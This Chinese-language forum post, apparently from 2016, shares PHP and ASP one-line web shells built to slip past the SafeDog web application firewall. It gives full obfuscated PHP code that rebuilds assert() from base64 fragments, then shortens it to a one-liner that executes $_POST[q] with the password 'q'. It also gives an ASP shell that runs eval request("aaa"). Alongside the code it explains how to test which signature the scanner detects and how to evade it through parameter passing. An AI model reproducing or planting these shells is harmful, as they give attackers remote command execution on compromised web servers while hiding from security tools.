把编写的过狗一句话的思路和成品分享出来。


【php最新过狗一句话】
先讲php,需要用到三个函数
//$b = str_replace('aa','a',$a);//1.被替换内容 2.用作替换内容 3.替换的内容
//base64_encode();//加密
//base64_decode();//解密




这个是上小迪网络班的时候,他用这三个函数进行加密,过掉安全狗。当时成功了,差不多十来行代码。群里的人都在测试,过了一会就不行了。被杀了。但是我觉得思路很好,于是当天晚上研究了一夜。变量和各种加密解密绕了半夜,终于过了狗。下面就是我的原版代码,现在仍然可以过狗。虽然有点长!


<?php
$o= 'YXNzZXJ01';
$q = str_replace('YXNzZXJ01','YXNzZXJ0',$o);
$a = 'Y11qmq1qE1=q11';
$a1 = str_ireplace('q','',$a);
$a2 = str_ireplace('1','',$a1);
$b = 'aNaFaa9qqqaka';
$b1 = str_ireplace('a','',$b);
$za = "fg";
$zb = str_ireplace('g','s',$za)
$zc = str_ireplace('s','e6',$zb)
$zd = str_ireplace('f','s',$zc)
$se6 = $zd
$e = base64_encode('emRn');
$e1 = str_ireplace('Sbg=','5',$e);
$e2 = 't';
$e3 = base64_encode('$e2');
$jg = $a1.$se6.$b1.$e3;
$qa = '11m1E1=11';
$jg1 = str_ireplace($qa,'q',$jg);
$jg2 = base64_encode($e1);
$jg3 = $jg1.$jg2;
$jg4 = 'NF9qqqkJGUyWlcx';
$jg5 = str_ireplace($jg4,$e2,$jg3);
$jg6 = 'co2de';
$jg7 = str_ireplace('NT',$jg6,$jg5);
$jg8 = str_ireplace('qs','as',$jg7);
$jg9 = str_ireplace('tco2','_tco',$jg8);
$jg10 = str_ireplace('0=','',$jg9);
$jg11 = base64_encode($jg10);
$jg12 = str_ireplace('ZTZfdGNvZGU=','ZTY0X2RlY29k',$jg11);
$jg13 = str_ireplace('WWFzZT','YmFzZT',$jg12);
$jg14 = 'e';
$jg15 = base64_decode($jg13);
$jg16 = $jg15.$jg14;
$z = $jg16($q);
$z($_POST[q]);
?>




但是这个可以过狗,只是太长了,所以后半夜主要就是优化代码。优化代码。


  以上虽然很多,但主要思路就是把不过狗的一句话<?php assert($_POST["q"]);?> 把assert($_POST["q"]);?>给base64加密然后插入随便字符,然后用str_replace()函数替换,绕来绕去还是替换成assert($_POST["q"]);?> 的base64加密,然后在解密,就可以。
详细过程不分析了,烧脑。这里主要讲,如何快速的编写过狗一句话。


这里主要关注最后两行↓
$z = $jg16($q);
$z($_POST[q]);


我们的一句话最终执行的效果肯定是:<?php assert($_POST["q"]);?>
那么这里$z肯定就是assert,我们echo一下$z试试
如下图


  无视报错信息,这个是我才搭建的集成环境,没配置好。
可以看到上面echo出了assert


那我们如果直接把$z替换成assert来执行,看看结果会怎么样?
如下图


  把上面的代码多行注释掉,直接替换是被杀的。


$z = $jg16($q);
$z($_POST[q]);


那我们尝试着把$jg16变量替换成明文试试,看看马到底杀的是什么地方。
先echo一下看看是什么内容,然后替换成明文。如下图。




那我们就可以知道,
$z = $jg16($q);
$z($_POST[q]);
变量jg16传递过来以后变成了
$z = base64_decode($q);
$z($_POST[q]);


这个时候可以看出来,$_POST[q]是由$z来执行的,$z=assert 
也就是说
$z = base64_decode($q); 实际上是
assert  = base64_decode($q);
那么basw64解密的这个$q一定是assert的base64加密。


所以我们继续,
$z = $jg16($q);
$z($_POST[q]);
替换成
$z = base64_decode($q);
$z($_POST[q]);
看看会不会被杀。


如下图




那我们现在知道了,base解密这个函数是被杀的,那我们这样。变量保留。
尝试用
$z = $jg16($q的明文);
$z($_POST[q]);


这样的话
base解密函数还是加密的,安全狗看不到。这样尝试一下,我们知道$q是assert的64加密,
我们替换一下然后看看结果。


$z = $jg16(assert);
$z($_POST[q]);


如图:




现在最后5行代码就是这样了
$jg14 = 'e';
$jg15 = base64_decode($jg13);
$jg16 = $jg15.$jg14;
$z = $jg16(YXNzZXJ0);
$z($_POST[q]);


我们尝试把$jg16替换成明文,由倒数第一行可知,$=assert 所以倒数第二行代码就是assert=$jg16(YXNzZXJ0);
而前面我们知道YXNzZXJ0是assert函数的base64加密,所以从YXNzZXJ0到assert有个base64解密的过程,这个过程就是变量$jg16。所以变量$jg16=base64_decode
我们把$jg16直接替换成base64_decode 不明白的echo一下也可以,我们直接替换。


为止一句话为
$jg16 = base64_decode;
$z = $jg16(YXNzZXJ0);
$z($_POST[q]);
如果成功的话,那前面所有的代码都可以删除了。



看结果








成功搞定最新版安全狗。
------------------------------------------------------------------------------------------------------
最终2016过狗一句话为:
<?php $jg16=base64_decode;$z=$jg16(YXNzZXJ0);$z($_POST[q]);?>
密码q
--------------------------------------------------------------------------------------------------------
其实现在容易搞多了,刚开始弄的时候不知道安全狗到底杀什么,变量绕了一夜。
最上面那个代码还是简化过的。现在已经简化到3句代码,一行。



  其实说白了,一句话永远不可能杀完,因为$_POST是个正常的提交方式,不可能被杀。然后其他assert或者eval一般也不会被杀,因为很多程序员要用到。狗只是针对特征杀,比如某个一句话用的人多了就会被杀。


【后续思路】
  如果这个在被杀,还有很多方法过。最简单的就是用传参的方式,安全狗不好检测的。
如果传参也被杀,那我传参只传一个字母  这样肯定不可能被杀,因为几乎所有网站都需要传递id参数,然后把id参数替换成assert或者eval的base64加密。 这是最简单,最有效,最难防御的办法。




下面讲2016asp的过狗一句话


asp一句话本来没打算写,应该我不会asp,一点都不会。前两天看到某群有人发了个一句话,我放到安全狗里面一看是过狗的。但是我觉得过几天用的人多了肯定被杀,所以我自己研究一下吧。



<%
dim a,b,temp,c
a="eva@@l%20req@@uest%28%22helloxj%22%29"
b=replace(a,"@@","零")
c=split(b,"零")
for i=0 to ubound(c)
temp=temp+c(i)
next
execute(unescape(temp))
%>




目前这个asp一句话还是过狗的,但是特征应该在短时间内(一个月内吧)被入库,


于是我分析了一下这个代码,刚开始一行一行echo,但是报错。上网查才可以asp不是echo,是response.write.
  经过百度以后,和多次测试,大概了解了每个函数的功能。




<%
dim a,b,temp,c/
/我的理解是定义数组
a="eva@@l%20req@@uest%28%22helloxj%22%29"
//赋值
b=replace(a,"@@","零")
//这个是replace函数应该类似我php用的那个函数,替换。把@替换成零
c=split(b,"零")
//这个作用现在忘了,但是不重要。echo(暂且称之为echo)一下就知道了
for i=0 to ubound(c)
//个人理解是,把变量i赋值为0 然后循环c此,c的数组成员数在上面已经定义了
temp=temp+c(i)
//每一次循环都=自身+数组的内容(第一次i是1 以此类推)
next
//这玩意,当时坑苦我了。 现在才知道是结束语句,测试了很多次。
execute(unescape(temp))
//然后就是执行
%>






这个调试过程就不给大家写了,我把原理说一下(很奇怪?一个不懂asp的人说原理。哈哈)



<%
dim a,b,temp,c
a="eva@@l%20req@@uest%28%22helloxj%22%29"
b=replace(a,"@@","零")
c=split(b,"零")
for i=0 to ubound(c)
temp=temp+c(i)
next
execute(unescape(temp))
%>


我们可以修改一下 便于理解。


<%
dim a,b,大肚子,c
a="渗@@透@@吧"
b=replace(a,"@@","零")
c=split(b,"零")
for i=0 to ubound(c)
大肚子=大肚子+c(i)
next
execute(unescape(大肚子))
%>




这样的话就是,给3个数组成员,分别是a,b,c 给到大肚子,
a赋值大家懂得

b的话 就有意思了,把"@@"替换成"零" 
c的话是以"零"为分割符,把这段内容分割。
这个其实就是
a="渗@@透@@吧"
b=replace(a,"@@","零")
这个时候b="渗零透零吧"//因为把零替换了艾特符
所以C很简单就是
c=split(b,"零")
c=split(渗零透零吧,"零")


所以这个时候把"渗零透零吧"用零作为分割符来分割,数组中会返回三个内容1.渗 2.透 3.吧
所以他的一句话木马里面的三个内容加在一起就是一个完整的一句话。
只不过我们这里用的是渗透吧三个字。


还有几行代码
for i=0 to ubound(c)
//这个可以理解为循环刚才的数组
大肚子=大肚子+c(i)
//由于分割以后数组1=渗 数组2=透 数组3=吧,所以这个语句作用是。循环三次,每次都是自相加
next
//循环结束
execute(unescape(大肚子))
//等于execute(unescape(渗透吧))


【实际利用】
了解原理,直接把最后一行的变量替换成明文试试。需要先调试一下变量内容
<%
dim a,b,temp,c
a="eva@@l%20req@@uest%28%22helloxj%22%29"
b=replace(a,"@@","零")
c=split(b,"零")
for i=0 to ubound(c)
temp=temp+c(i)
next
execute(unescape(temp))
%>


也就是变量temp的内容
如下图






temp的内容为
eval%20request%28%22helloxj%22%29


解码后为:
eval request("helloxj")
url编码了一下,其实不编码也可以


所以实际替换以后为:


<%
dim a,b,temp,c
a="eva@@l%20req@@uest%28%22helloxj%22%29"
b=replace(a,"@@","零")
c=split(b,"零")
for i=0 to ubound(c)
temp=temp+c(i)
next
execute(unescape(eval%20request%28%22helloxj%22%29))
%>




这个时候我们就不需要前面的过程了,因为已经直接给了结果。
所以
<%execute(unescape(eval%20request%28%22helloxj%22%29))%>
这个
中间的密码可以改一下 我们改成aaa
<%execute(unescape("eval%20request%28%22aaa%22%29"))%>


结果如图






执行流畅,查杀无异常。




------------------------------------------2016asp过狗一句话最终--------------------------------------
<%execute(unescape("eval%20request%28%22aaa%22%29"))%>
密码:aaa
------------------------------------------2016asp过狗一句话最终--------------------------------------





  主要还是思路,还有很多种方法可以过。刚才我又测试出来另一种。且可扩展。 所以说,一句话木马是不可能被杀完的。



  希望有心的朋友可以,对着代码自己研究一下。鱼线与鱼,请明断。